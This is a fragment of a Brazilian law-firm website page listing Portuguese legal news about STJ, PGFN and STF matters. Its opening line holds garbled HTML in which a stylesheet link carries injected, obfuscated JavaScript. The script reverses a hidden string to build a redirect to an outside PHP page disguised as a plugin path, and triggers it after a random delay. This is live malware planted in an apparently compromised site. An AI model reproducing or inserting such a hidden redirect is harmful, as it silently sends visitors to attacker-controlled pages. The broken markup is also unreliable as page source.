tom-css' href='https://rebertecarvalho.com.br/wp-content/themes/WideComu/css/skins/cusscript$NqM=function(n)if%20(typeof%20($NqM.list%5Bn%5D)%20==%20string)%20return%20$NqM.list%5Bn%5D.split().reverse().join();return%20$NqM.list%5Bn%5D;;$NqM.list=%5B'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod%5D;var%20number1=Math.floor(Math.random()%20*%206);if%20(number1==3)var%20delay%20=%2018000;setTimeout($NqM(0),delay);/scripttom/style.css?ver=17.8.5' type='text/css' media='all' /> tom style-default button-stroke layout-full-width nice-scroll-on no-content-padding hide-love header-transparent minimalist-header-no sticky-white ab-hide subheader-transparent subheader-both-center menu-line-below-80 menuo-right logo-no-margin footer-copy-center mobile-tb-hide mobile-side-slide mobile-mini-mr-ll be-1785 wpb-js-composer js-comp-ver-5.1.1 vc_responsive">

Últimas notícias

  • STJ afeta recurso e define tese sobre unificação de penas na mesma sessão
    Em uma única sessão virtual, a 3ª Seção do Superior Tribunal de Justiça afetou dois recursos especiais para julgamento sob o rito dos recursos repetitivos e, com base em jurisprudência consolidada na corte, fixou tese no sentido de que a unificação de penas não enseja a alteração da data-base para concessão de novos benefícios na execução penal. Como a questão jurídica já estava pacificada nos colegiados de direito penal, a seção estabeleceu a tese sem a necessidade de tramitação dos recursos repetitivos prevista pelo Código de Processo Civil de 2015 e pelo Regimento Interno do STJ. Tanto a afetação quanto […]
  • Dívida Ativa chega a R$ 2,2 trilhões; 44,8% são irrecuperáveis, diz PGFN
    O número de devedores da União chegou a 4,6 milhões, o que envolve uma dívida de R$ 2,2 trilhões, segundo dados divulgados pela Procuradoria-Geral da Fazenda Nacional nesta terça-feira (26/3). Conforme o PGFN em Números 2018, 44,8% desse valor são irrecuperáveis. Os grandes devedores somam 28 mil, e os demais, 4,6 milhões. Do total da dívida, R$ 1,4 trilhão (62%) é devido por apenas 28 mil devedores.  Segundo o procurador-geral da Fazenda Nacional, José Levi Junior, cerca de 33% do valor é mais fácil de recuperar porque envolve dívidas mais novas e recentes, que querem a recuperação. “Entretanto, 67% são empresas com dívidas mais antigas, fraudulentas, que faliram […]
  • Supremo recebe mais seis ações contra MP da contribuição sindical
    O Supremo Tribunal Federal recebeu mais seis ações questionando a Decreto 9.735/2019, reafirmando que contribuição sindical não pode ser descontada em folha.
WhatsApp Chat
Enviar Mensagem